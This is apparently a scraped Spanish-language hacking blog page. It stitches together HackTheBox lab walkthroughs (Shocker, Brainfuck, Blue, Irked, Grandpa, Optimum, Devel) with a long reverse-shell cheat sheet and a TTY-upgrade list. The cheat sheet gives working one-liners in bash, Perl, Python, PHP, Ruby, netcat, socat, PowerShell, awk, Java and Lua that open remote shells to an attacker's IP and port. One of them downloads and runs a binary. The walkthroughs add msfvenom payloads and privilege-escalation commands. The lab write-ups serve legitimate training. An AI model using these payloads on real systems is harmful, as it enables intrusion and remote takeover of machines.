Shadow AI: el insider threat de 2026
La adopción de inteligencia artificial en la empresa ha crecido más rápido que su gobierno.…
La adopción de inteligencia artificial en la empresa ha crecido más rápido que su gobierno.…
Buenos días, hoy venimos con una nueva máquina en HackTheBox la cual se
trata de Shocker, es máquina sencilla en la cual podremos poner a prueba nuestras habilidades explotando la vulnerabilidad de Shellshock
Para empezar con esta máquina con nmap hemos realizado una enumeración que nos ha encontrado los siguientes puertos abiertos
Profundizando algo sobre estos puertos, nos encontramos un servidor Apache en el puerto 80 y un servicio ssh en el puerto 2222
Para empezar con dirbuster hemos ido en búsqueda de posibles carpetas o archivos, con el hemos encontrado un archivos interesante en /cgi-bin/user.sh
Sobre este archivo hemos podido ver que vulnerable a shellshock, por lo que con curl hemos explotado de la siguiente manera, añadiendo una reverse shell hacia nuestro equipo
Si el paso anterior fue bien nos debería abrir una nueva shell sobre la máquina con el usuario shelly
Dentro de la carpeta personal /home/shelly de este usuario nos encontramos con la primera flag la de user.txt
Con este usuario ejecutando sudo -l nos encontramos que puede utilizar perl con privilegios
Con esta información, hemos encontramos que podemos hacer un bypass con perl y obtener un shell con privilegios (root) utilizando el siguiente comando
perl -e ‘exec «/bin/sh»;’
Con esta nueva sesión con root ya tenemos acceso a /root donde podremos obtener la última flag root.txt
Como conclusión final vemos que se trata de una máquina sencilla, donde quizás la parte más complicada sería en la parte de enumeración para encontrar la ruta vulnerable.
Espero que os haya gustado, nos vemos en próximo post
Saludos!
Buenos días, hoy venimos con una nueva máquina en HackTheBox la cual se trata de Brainfuck, en esta podrás poner a prueba tus habilidades vulnerando un WordPress y tus conocimientos en criptografía descifrando un mensaje secreto
Para empezar con esta máquina con nmap hemos realizado una enumeración que nos ha encontrado los siguientes puertos abiertos
Haciendo un análisis más profundo de estos puertos obtenemos el siguiente resultado
Al entrar al servidor web en el puerto 443 nos encontramos con una pagina por defecto de nginx, con dirbuster hemos tratado de buscar carpetas y archivos sin ningún resultado. Con sslscan hemos hecho un escaneo del certificado instalado y hemos podido descubrir los siguientes nombres brainfuck.htb y sup3rs3cr3t.brainfuck.htb
Añadiendo estos nombre a nuestro archivo hosts, podemos ver que el nombre brainfuck.htb responde ahora con un web hecha en wordpress y sup3rs3cr3t.brainfuck.htb responde un foro
Ha esta página hecha en wordpress el hemos pasado la herramienta wpscan con la que hemos podido descubrir, un plugin instalado wp support plus responsive ticket system en la versión 7.1.3 (https://github.com/jhsalves/wp-support-plus-responsive-ticket-system)
Investigando sobre este plugin hemos podido encontrar un exploit (https://www.exploit-db.com/exploits/41006) que afecta a este versión que nos permitirá acceder al panel de administración del wordpress.
Para explotar esta vulnerabilidad deberemos dirigirnos a la página (https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/loginGuestFacebook.php), lo que nos aparecerá una página en blanco, ahora deberemos editar el html de la página y añadiremos el siguiente formulario
Con el formulario añadido y el nombre de usuario admin le daremos a login lo que nos llevara a otra página en blanco
Con esto hecho si nos vamos a wp-admin veremos que tendremos la sesión iniciada como admin de wordpress. Antes en la página principal hemos visto en un post el mensaje de «SMTP integration is ready», por lo que hemos decidido buscar algún plugin o algo relacionado con esto, dentro de Settings -> Easy WP SMTP vemos que hay una credenciales puestas. En el campo de SMTP Password editamos el campos y cambios el type de password a text lo que nos mostrara la password que hay introducida de este modo tendremos usuario y password.
Con este usuario obtenido, en el puerto 143 tenemos el servicio IMAP por lo que podemos ver los distintos email del usuario
Logueados con el usuario dentro del servicio IMAP vemos que hay distintos emails, en el email con el id nº2 hemos encontrado las credenciales para el foro secreto.
Con estas credenciales accedemos al foro secreto y nos encontramos un post de SSH Access, donde el último mensaje vemos que se abre un hilo nuevo encriptado
Dentro de este hilo nos encontramos el siguiente texto codificado
Desde cyberchef haciendo pruebas (https://gchq.github.io/CyberChef/) hemos descubierto que mensaje ha sido cifrado mediante Vigenere, pero para decodificar el mensaje necesitamos la clave. En distintos mensajes vemos que usuario acabe siempre con el comentario «Orestis – Hacking for fun and profit» por lo que hemos probado esta clave lo que nos ha dado el resultado de «Brainfuckmybrainfuckmybrainfu» desde frase vemos que hay un trozo que se repite «fuckmybrain»
Dentro de los mensaje encriptado parece que hay un enlace que hemos probado a descodificar con la clave fuckmybrain lo que nos ha dado el siguiente enlace (https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa)
Con este enlace obtenido hemos podido descargar lo que parece ser la clave rsa para poder conectarnos por ssh a la máquina.
Al intentar conectarnos por ssh nos encontramos que nos pide una contraseña, por lo que con ssh2john sacaremos el hash para poder crackear la password con John The Ripper.
Hecho esto descubrimos que la password es 3poulakia! , con la que ya podremos acceder mediante ssh a la máquina
Dentro de la carpeta principal del usuario /home/orestis, encontraremos nuestra primera flag la de user.txt
Investigando sobre la máquina nos encontramos que se trata de un Ubuntu 16.04.2 que es vulnerable al exploit BPF Sign Extension Prvilege Escalation
(https://www.exploit-db.com/exploits/45058)
Para ello primero hemos abierto un sesión en metasploit con ssh_login y migrando esta shell a meterpreter, hecho esto hemos utilizado el exploit comentado.
Para ello deberemos configurar la session, nuetro lhost y el lport que queramos
Configurado el exploit tendremos una nueva sesión como root por lo que tendremos acceso a la última flag de root.txt ubicada en /root/root.txt
Como conclusión final vemos que se trata de una máquina completa donde ponemos a prueba nuestra habilidades en la parte web explotando un wordpress, también ponemos a prueba nuestra habilidades de criptografía donde tendremos que descifrar los mensajes secretos encontrados en el foro y por último una escalada de privilegios utilizando un exploit.
Espero que os haya gustado, nos vemos en próximo post
Saludos!
Blue es una de las máquinas más sencillas de Hack The Box. Pero demuestra el impacto que tuvo la vulnerabilidad de EternalBlue, que se ha utilizado para comprometer a muchas empresas a nivel global a través de distintos ataques de ransomware.
Para empezar la máquina es realizar un reconocimiento y enumeración, para ello utilizaremos nmap que nos devolverá una primera lista de puertos abiertos
Teniendo los puertos abiertos identificados indagaremos un poco más sobre estos utilizando la opción -A en nmap
El anterior escaneo podemos ver que se trata de un sistema Windows 7 Profesional, con el puerto 445 smb con nmap y la opción –script vuln haremos un rápido análisis para ver si es vulnerable a algún ataque
Después de esto vemos que es la vulnerabilidad de EternalBlue (MS17-010), en ExploitDB encontramos el siguiente exploit compatible con el sistema auditado (https://www.exploit-db.com/exploits/42031)
Para este exploit necesitaremos el siguiente shellcode (https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/42030.asm)
Con el shellcode descargado con nasm -f bin lo ensambla en un archivo binario
Después generaremos nuestro payload mediante msfvenom -p windows/x64/shell_reverse_tcp lhost=IP lport=PUERTO -f raw -o payload.bin
Con estos 2 archivos procederemos a juntarlo esto lo podemos hacer mediante cat de la siguiente forma:
Con este nuevo archivo exploit.bin, procederemos a lanzar nuestro exploit para la vulenrabilidad de EternalBlue, para ello debemos indicar la ip y el archivo bin generado.
Nota: Antes de lanzar este exploit debemos tener un netcat a la escucha con el puerto indicado anteriormete en el comando de msfvenom
Una vez lanzado el exploit nos abrira una nueva shell sobre la máquina como usuario SYSTEM por lo que tendremos control total sobre la máquina
La primera flag de la máquina la encontraremos en c:UsersharisDesktopuser.txt
La segunda flag de root c:UsersAdministratorDesktoproot.txt
Como podeis ver es un máquina bastante sencilla, donde explotamos un vulnerabilidad que ha sido tan importante como Eternalblue.
Espero que os haya gustado, nos vemos en próximo post
Saludos!
Bash / SH:
Las shells reversas utilizando bash, funcionan en casi todos los sistemas linux.
En la maquina de la víctima:
bash -i >& /dev/tcp/IP/PUERTO 0>&1
Tambien podemos utilizar sh de la misma forma:
sh -i >& /dev/udp/IP/PUERTO 0>&1
Perl: Con lenguaje de programación Perl tambien podremos conseguir shells reversas, aunque no estan comun que este instalado en lso sistemas
En sistemas Linux podremos utilizar lso siguientes:
perl -e ‘use Socket;$i=»IP»;$p=PUERTO;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,»IP:PUERTO»);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
En maquina Windows podemos utilizar la siguiente:
perl -MIO -e ‘$c=newIO::Socket::INET(PeerAddr,»IP:PUERTO»)STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Python: Luego tenemos el lenguaje de programación Python, este es muy conocido y viene instalado en la mayoría de distribuciones linux
En la máquina de la víctima en sistemas Linux:
IPv4
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«IP»,PUERTO));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
export RHOST=»10.0.0.1″;export RPORT=PUERTO;python -c ‘import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(«RHOST»),int(os.getenv(«RPORT»))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(«/bin/sh»)’
IPv6
python -c ‘import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((«dead:beef:2::125c»,4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn(«/bin/sh»);’
En sistemas Windows podemos utilizar la siguiente:
C:Python27python.exe -c «(lambda __y, __g, __contextlib: [[[[[[[(s.connect((‘IP’, PUERTO)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type(‘except’, (), {‘__enter__’: lambda self: None, ‘__exit__’: lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type(‘try’, (), {‘__enter__’: lambda self: None, ‘__exit__’: lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g[‘p2s_thread’] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g[‘s2p_thread’] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g[‘p’] in [(subprocess.Popen([‘\windows\system32\cmd.exe’], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g[‘s’] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g[‘p2s’], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l[‘s’].send(__l[‘p’].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l[‘s’], __l[‘p’] in [(s, p)]][0])({}), ‘p2s’)]][0] for __g[‘s2p’], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l[‘p’].stdin.write(__l[‘data’]), __after())[1] if (len(__l[‘data’]) > 0) else __after())(lambda: __this()) for __l[‘data’] in [(__l[‘s’].recv(1024))]][0] if True else __after())())(lambda: None) for __l[‘s’], __l[‘p’] in [(s, p)]][0])({}), ‘s2p’)]][0] for __g[‘os’] in [(__import__(‘os’, __g, __g))]][0] for __g[‘socket’] in [(__import__(‘socket’, __g, __g))]][0] for __g[‘subprocess’] in [(__import__(‘subprocess’, __g, __g))]][0] for __g[‘threading’] in [(__import__(‘threading’, __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__(‘contextlib’))»
PHP: PHP es un lenguaje de programación que es de sobra conocido y ques ta instalado en la mayoría de sistemas y distribuciones
php -r ‘$sock=fsockopen(«IP»,PUERTO);exec(«/bin/sh -i <&3 >&3 2>&3″);’
php -r ‘$sock=fsockopen(«IP»,PUERTO);shell_exec(«/bin/sh -i <&3 >&3 2>&3″);’
php -r ‘$sock=fsockopen(«IP»,PUERTO);`/bin/sh -i <&3 >&3 2>&3`;’
php -r ‘$sock=fsockopen(«IP»,PUERTO);system(«/bin/sh -i <&3 >&3 2>&3″);’
php -r ‘$sock=fsockopen(«IP»,PUERTO);passthru(«/bin/sh -i <&3 >&3 2>&3″);’
php -r ‘$sock=fsockopen(«IP»,PUERTO);popen(«/bin/sh -i <&3 >&3 2>&3″, «r»);’
php -r ‘$sock=fsockopen(«IP»,PUERTO);$proc=proc_open(«/bin/sh -i», array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);’
Ruby:
Ruby es un lenguaje de scripting en alza y en el mundo del pentesting es conocido por su uso en Metasploit. Este lenguaje no es tan común como el resto y a veces resulta complicado encontrarlo instalado en los istemas
En sistemas linux podemos utilizar lo siguientes:
ruby -rsocket -e’f=TCPSocket.open(«IP»,»PUERTO»).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e’exit if fork;c=TCPSocket.new(«IP»,»PUERTO»);loop{c.gets.chomp!;(exit! if $_==»exit»);($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts «failed: #{$_}»}’
Y en los Sistemas Windows:
ruby -rsocket -e ‘c=TCPSocket.new(«IP»,»PUERTO»);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’
Netcat: Netcat es una herramienta altamente utilizada en el mundo del pentesting uqe nos permite crear reverse shells
nc -e /bin/sh IP PUERTO
nc -e /bin/bash IP PUERTO
nc -c bash IP PUERTO
En el caso de Netcat podemos encontrarnos que el sistema tiene una version de netcat que no admite la opción -e el entonces podremos utilizar la siguiete opción:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc IP PUERTO >/tmp/f
O en el caso de ncat:
ncat IP PUERTO -e /bin/bash
ncat –udp IP PUERTO -e /bin/bash
Socat Socat es una herramineta parecida a netcat pero más avanzad, que nso permite comunicaciones bilaterales.
En la máquin atacante:
socat file:`tty`,raw,echo=0 TCP-L:PUERTO
En la máquina victima:
/tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:IP:PUERTO
En caso de que la máquina victima no disponga de socat podemos utilizar el siguiente:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:IP:PUERTO
Powershell Powershell es una interfaz de consola disponible en los sistemas Windows
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(«IP»,PUERTO);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c «$client = New-Object System.Net.Sockets.TCPClient(‘IP’,PUERTO);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()»
Awk AWK es un lenguaje de prgramación diseñado para procesar datos basados en texto.
awk ‘BEGIN {s = «/inet/tcp/0/IP/PUERTO»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null
Java Java es un lenguaje de programación altamente utilizado que la podremos encontrar disponible en diversasa máquinas.
Runtime r = Runtime.getRuntime();
Process p = r.exec(«/bin/bash -c ‘exec 5<>/dev/tcp/IP/PUERTO;cat <&5 | while read line; do $line 2>&5 >&5; done'»);
p.waitFor();
String host=»IP»;
int port=PUERTO;
String cmd=»cmd.exe»;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Lua Lua es un lenguaje de programación multiparadigma, no es tan conocido como python pero se puede encontrar instalado en alguna máquina.
Solo Linux
lua -e «require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘IP’,’PUERTO’);os.execute(‘/bin/sh -i <&3 >&3 2>&3′);»
Windows y Linux
lua5.1 -e ‘local host, port = «IP», PUERTO local socket = require(«socket») local tcp = socket.tcp() local io = require(«io») tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, «r») local s = f:read(«*a») f:close() tcp:send(s) if status == «closed» then break end end tcp:close()’
Buenas a todos, a menudo, durante los pentests o en CTF, podemos obtener una shell simple que no es tty. Aquí tenemos algunos comandos que nos permitirán generar una shell tty. Obviamente esto dependerá de la máquina , de su configuración y de los paquetes instalados.
Pythonpython -c ‘import pty; pty.spawn(«/bin/sh»)’python3 -c ‘import pty; pty.spawn(«/bin/sh»)’python -c ‘import pty; pty.spawn(«/bin/bash»)’python3 -c ‘import pty; pty.spawn(«/bin/bash»)’
Bash
echo os.system(‘/bin/bash’)/bin/sh -i/bin/bash -i
Perl
perl —e ‘exec «/bin/sh»;’perl: exec «/bin/sh»;
Rubyruby: exec «/bin/sh»
Lualua: os.execute(‘/bin/sh’)
VI
:!bash:set shell=/bin/bash:shell
Nmap!shnmap -Vnmap –interactive
Socat
Listener:
socat file:`tty`,raw,echo=0 tcp-listen:8090
Client:
socat tcp:
Irked es una máquina en HackTheBox basada en Linux bastante simple y directa que requiere de habilidades básicas de enumeración.
En primer lugar hemos procedido a realizar la enumeración de puertos de la máquina utilizando nmap
nmap -sS -A 10.10.10.117 -T4
El resultado de este análisis nos muestra tres puertos abiertos 22, 80 y 111. Si abrimos el navegador el puerto 80 nos parece una pagina con el siguiente mensaje «IRC is almost working» lo que no shace pensar que puede haber algún otro puerto más abierto.
Por eso procedemos con nmap a buscar todos los posibles puerto abiertos
nmap -sS -p- 10.10.10.117 -T4
Terminado el análisis podemos ver nuevos puertos abiertos que no habíamos visto antes, en este caso debemos prestar atención al puerto 6697 que nos da pistas de poder ser un irc. Investigando un poquito más podemos confirmar que se trata de un IRC.
Sabiendo esto con nmap podemos verificar si se trata de una versión troyanizada de de UnrealIRCD,
nmap –script=irc-unrealircd-backdoor -p6697 10.10.10.117 -T4
Terminado el análisis tenemos un resultado afirmativo por lo que tenemos punto de entrada en la máquina. En este caso utilizaremos metasploit que tiene disponible un módulo para explotar esta vulnerabilidad, para ello abrimos msfconosle y buscamos unrealirc
Seleccionado el exploit, procederemos a configurarlo indicando el rhosts y el rport y seleccionando el payload cmd/unix/reverse
Configurado nuestro exploit lo lanzamos y si todo va bien deberíamos tener una nueva sesión abierta en la máquina con el usuario ircd
Con esta nueva sesión procedemos a la escalada de privilegios , después de un rato investigando listando los archivo suid vemos el archivo /usr/bin/viewuser que no viene en la instalación standard de Debian
Al ejecutar este binario nos da error que no se encuentra /tmp/listusers. Por esto dentro de /tmp creamos un archivo listusers.c con el siguiente código
Hecho esto primero debemos compilar este archivo
gcc listusers.c -o listusers
Compilado si ejecutamos el binario viewusers nos debería abrir una shell como root
Ahora con esta shell con permisos podemos obtener las flags, la primera flag la podemos obetener en /home/djmardov/Documents/user.txt
La segunda flag la podemos encontrar en /root/root.txt
Si has llegado hasta aquí enhorabuena! Como ves esta es un máquina
sencilla donde vemos como IRC sobre linux y realizar una escalada de privilegios explotando un binario suid, si te ha gustado sígueme y nos vemos en la próxima !
Bienvenidos de nuevo, a un nuevo walkthrough, esta vez se trata de la máquina Grandpa en HackTheBox, que es una máquina Windows donde expplotaremos un servidor IIS.
En primer lugar, como en todas las máquinas empezaremos una enumeración de puertos mediante nmap con los parámetros -sV que nos intentará indicar las versiones de los servicios corriendo en los puertos, -sC que ejecutara los scripts básicos de nmap y -O que nos intentara identificar el sistema operativo de la máquina
El resultado del análisis del nmap vemos que saca un puerto abierto en el 80, y que se trata de un servidor IIS 6.0, con nmap hemos ejecutado un script donde nos saca que este servidor tiene WebDav activado.
nmap –script=http-iis-webdav-vuln -p80 10.10.10.14
En esta version de IIS 6.0 y con Webdav sabemos que es vulnerable a un Buffer Overflow, para ello abriremos nuestra consola de metasploit msfconsole buscaremos iis y seleccionaremos el exploit iis_webdav_scstoragepathfromurl
Seleccionado el exploit configuraremos el rhosts y el lhost, y si todo funciona correctamente se nso debería abrir una nueva sesión.
Una vez dentro ejecutaremos systeminfo que nos brindará información sobre el sistema en este caso nos encontramos con un Windows Server 2003
Sabiendo esto hemos ejecutado windows-exploit-suggester que nos indica que puede ser vulnerable a ms14_070_tcpip_ioctl, por lo que buscamos y seleccionamos dicho exploit
Una vez seleccionado estableceremos los parametros necesarios SESSION, LHOST y LPORT
Una vez configurado lo lanzamos y s enos debería abrir una nueva sesión esta vez como SYSTEM
Ahora como tenemos acceso total sobre la máquina podremos acceder a las 2 flags que las podemos encontrar en c:UsersHarryDesktop y c:UsersAdministratorDesktop
Si has llegado hasta aquí enhorabuena! Como ves esta es un máquina
sencilla donde vemos como exploitar un servidor IIS en Windows, si te ha gustado sígueme y nos vemos en la próxima !
Bienvenidos a esta nueva entrada, hoy traemos la máquina Optimum en HackTheBox. Se trata de una máquina basada en Windows bastante sencilla debido a que tiene pocos servicios corriendo y para la explotación es una ruta bastante directa
En primer lugar haremos una enumeración de puertos con nmapnmap -n -sV -sC -O 10.10.10.8 -T4
Terminado el análisis con nmap nos muestra un solo servicio en el puerto 80 que se trata de HttpFileServer en la versión 2.3. Con un poco de búsqueda que esta versión tiene una vulnerabilidad de RCE (CVE-2014-6287) que tiene un módulo de metasploit disponible.
Para ello abriremos la consola de metasploit msfconosle y buscaremos rejetto lo que nos devolverá una opción
Seleccionado nuestro exploit procederemos a configurarlo, una vez configurado si lo hemos hecho correctamente se nos debería abrir una nueva sesión sobre la máquina con el usuario kostas
Con el usuario kostas si nos vamos a c:UserskostasDesktop podremos conseguir la primera flag de la máquina
La ejecución de sysinfo en Meterpreter nos muestra que se trata de un Windows 2012 R2 con arquitectura x64. Sería prudente migrar a un proceso x64 en este punto, ya que el shell reverse_tcp por defecto es de arquitectura x86. Utilizaremos el comando ps para listar los procesos, luego migraremos al proceso explorer.exe porque es un proceso x64, utilizando el comando migrate pid
Después de un poco de búsqueda nos encontramos que esta máquina es vulnerable a MS16-032, para ello utilizaremos el exploit ms16_032_secondary_logon_handle_privesc
Configurado el exploit si lo tenemos todo correcto nos debería abrir una nueva shell con permisos de SYSTEM
Al tener permisos de SYSTEM podremos obtener la segunda flag que la encontramos en la ruta c:UsersAdministratorDesktop
Si has llegado hasta aquí enhorabuena! Como ves esta es un máquina
sencilla que es bastante directa y que se puede hacer rápido. Espero que te haya
sido de utilidad nos vemos en la próxima
Bienvenidos de nuevo, a un nuevo walkthrough, esta vez se trata de la máquina Devel en HackTheBox, que es una máquina Windows bastante sencilla donde solo tiene disponibles 2 servicios.
En primer lugar, como en todas las máquinas empezaremos una enumeración de puertos mediante nmap con los parámetros -sV que nos intentará indicar las versiones de los servicios corriendo en los puertos, -sC que ejecutara los scripts básicos de nmap y -O que nos intentara identificar el sistema operativo de la máquina
nmap -n -sV -sC -O 10.10.10.5 -T4
En el resultado de nmap podemos ver que tenemos 2 servicios un ftp que permite el acceso anónimo y un servidor web.
Accediendo al ftp podemos ver la raíz de la parte web y además se nos permite subir archivos por lo que hemos decido crear un payload con msfvenom. En este caso hemos elegido meterpreter reverse tcp para window en formatos, debido a que la máquina objetivo se trata de un sistema operativo Windows y el servidor se trata de un iis con asp
msfvenom -p windows/meterpreter/reverse_tcp -f aspx -o shell.aspx LHOST=10.10.14.12 LPORT=4444
Creado el payload hemos accedido al ftp y hemos subido dicho payload
Una vez lo tenemos subido abreimos una nueva consola de mestasploit msfconosle y configuraremos un nuevo handler. En primer lugar, se deberá asignar el mismo payload que hemos creado y asignaremos la ip y puertos elegidos
Una vez configurado, nos dirigiremos al navegador accederemos a nuestra máquina y apuntaremos al payload que hemos subido mediante el ftp
Abierta la ventana se nos debería haber iniciado una nueva sesión en metasploit
Una vez dentro de la máquina vemos que se trata de un Windows 7 x86.
Hemos ejecutado el módulo local_exploit_suggester de metasploit y hemos visto que vulnerable a ms10_015_kitrap0d. Por lo tanto dentro de metasploit buscamos dicha vulerabilidad y procedemos a configurarla
Una vez configurado lanzamos el exploit y vemos que se nos ha abierto una nueva sesión en metasploit esta vez con permisos de SYSTEM sobre la máquina por lo que podremos conseguir las flags del usuario y del administrador
Dentro de la ruta c:UsersbabisDesktop encontraremos la primera flag del usuario
Y en la ruta c:UsersAdministratorDesktop encontrarás la segunda flag por lo que ya habrás terminado esta máquina
Si has llegado hasta aquí enhorabuena! Como ves esta es un máquina sencilla que se puede hacer con relativa rapidez. Espero que te haya sido de utilidad nos vemos en la próxima
Este sitio web usa cookies para mejorar tu experiencia. Asumiremos que te parece bien, pero puedes desactivarlas si prefieres. Leer más